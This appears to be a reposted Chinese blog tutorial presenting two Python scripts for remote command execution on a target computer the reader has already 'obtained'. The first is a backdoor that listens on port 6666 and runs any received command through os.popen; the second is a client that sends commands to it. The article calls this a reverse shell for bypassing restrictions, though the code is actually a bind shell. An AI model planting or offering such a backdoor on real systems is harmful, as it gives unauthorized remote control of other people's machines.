python模拟菜刀反弹shell绕过限制【推荐】
作者：痱子﹑ 发布时间：2023-07-13 12:56:18
标签：python,shell,限制
有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell
主要用到python os库和sokect库
这里的服务端在目标机上运行
from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
print ('客户端：',addr)
while True:
cmd=sock.recv(1024)#缓存长度 接收传递过来
cmdstr=cmd.decode()
if cmdstr=='exit':
print ('客户端：',addr,'关闭')
sock.close()
break
result=popen(cmdstr).read()
sock.send(result.encode())
s.close()
本机运行
from socket import *
from os import *
c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
cmd=input("cmd:")
c.send(cmd.encode())#必须传递流
if cmd=='exit':
c.close()
break
data=c.recv(1014)
print (data.decode())
总结
以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制，希望对大家有所帮助
来源：https://www.cnblogs.com/yuanzijian-ruiec/archive/2019/06/25/11081385.html
0
投稿猜你喜欢
揭秘一个普通的输入框背后惊人的秘密。某月某日，某项目某页面，需要一个价格区间筛选功能，需求合理，所以设计做上去。这是一个无比普通的输入框。在- 有一个网站A想找别的网站作为代理商，在代理商的页面上插入自己的广告。它提供一个注册页面给代理商，代理商注册后，会得到一个ID，
- 对比起Cookie，Session 是存储在服务器端的会话，相对安全，并且不像 Cookie 那样有存储长度限制。由于 Session 是以
- 有一个表，用户需要在后台操作它，希望能对它动态进行添加删除字段。这个功能也许没有问题，但是它原有插入与更新的两个存储过程，也需要一起修改。因
- 随着因特网的发展，在网络环境中，数据库应用渐渐向操作简单、功能实用的方向发展。本文介绍如何利用ASP技术实现对数据库进行在线维护的方法,并给
- 每个浏览器都有自己的默认样式，这是一段预定义的CSS，用以简单地呈现网页。在Firefox中的地址栏中输入resource://gre/re
- 下拉菜单平常见到的都是用js来实现的，本文介绍的方法是使用纯CSS实现导航下拉菜单功能，代码符合标准，兼容性好且环保，制作下拉菜单的不错选择
- 这几个技术都不是很新了,现在还拿出来说也就是为了教教新手了呵呵,各位大虾多多指正.css之所以出现就是为了实现数据与数据的表现形式的分离,
- 我看见朋友可以把数据库的记录输出到页面表格上去，觉得很有用。这是怎么做的啊？见下：dbtable.asp<html><he
- 概述OpenCV 是一个跨平台的计算机视觉库, 支持多语言, 功能强大. 今天小白就带大家一起携手走进 OpenCV 的世界.梯度运算梯度:
- HTML在线编辑器相信大家见得多了，有些流行的在线编辑器具有很丰富的功能。但美中不足的是，现有的HTML在线编辑器设置字号大小通常只限于1-
- 今天下午主要做了个实验，是针对 测试表的列，进行添加，修改，删除的。做法如下： 增加一列： alter table emp4 add tes
- 很多朋友对FrontPage2003中增加的网页布局功能很感兴趣，现在我们一起来深入了解这一实用功能。用FrontPage2003的“布局表
- 1.环境设置1.1gradio安装需要安装 gradio，安装办法就是 pip install gradio2.ffmpeg安装再次需要加入
- ASP 错误代码 说明 ASP 0100 内存不足 ASP 0101 意外错误 ASP 0102 需要字符串输入 ASP 0103 需要数字
- 现在很多朋友都不止一个账户，不止一个密码。忘记账户名、密码，或账户名、密码输入错误也就难免啦。每当这个时候，你是否和我一样会有小小的焦虑产生
- MapPathMapPath 方法将指定的相对或虚拟路径映射到服务器上相应的物理目录上。语法Server.MapPath( Path ) 参
- Oracle text是Oracle的全文检索技术，是9i版本标准版和企业版的一部分。Oracle text使用标准的sql语言索引、查找、
- InnoDB和MyISAM是在使用MySQL最常用的两个表类型，各有优缺点，视具体应用而定。下面是已知的两者之间的差别，仅供参考。1.Inn
- mysql是linux平台下最流行的数据库系统，今天介绍的是mysql的安装及简单的操作方法!groupadd mysql //建立mysq
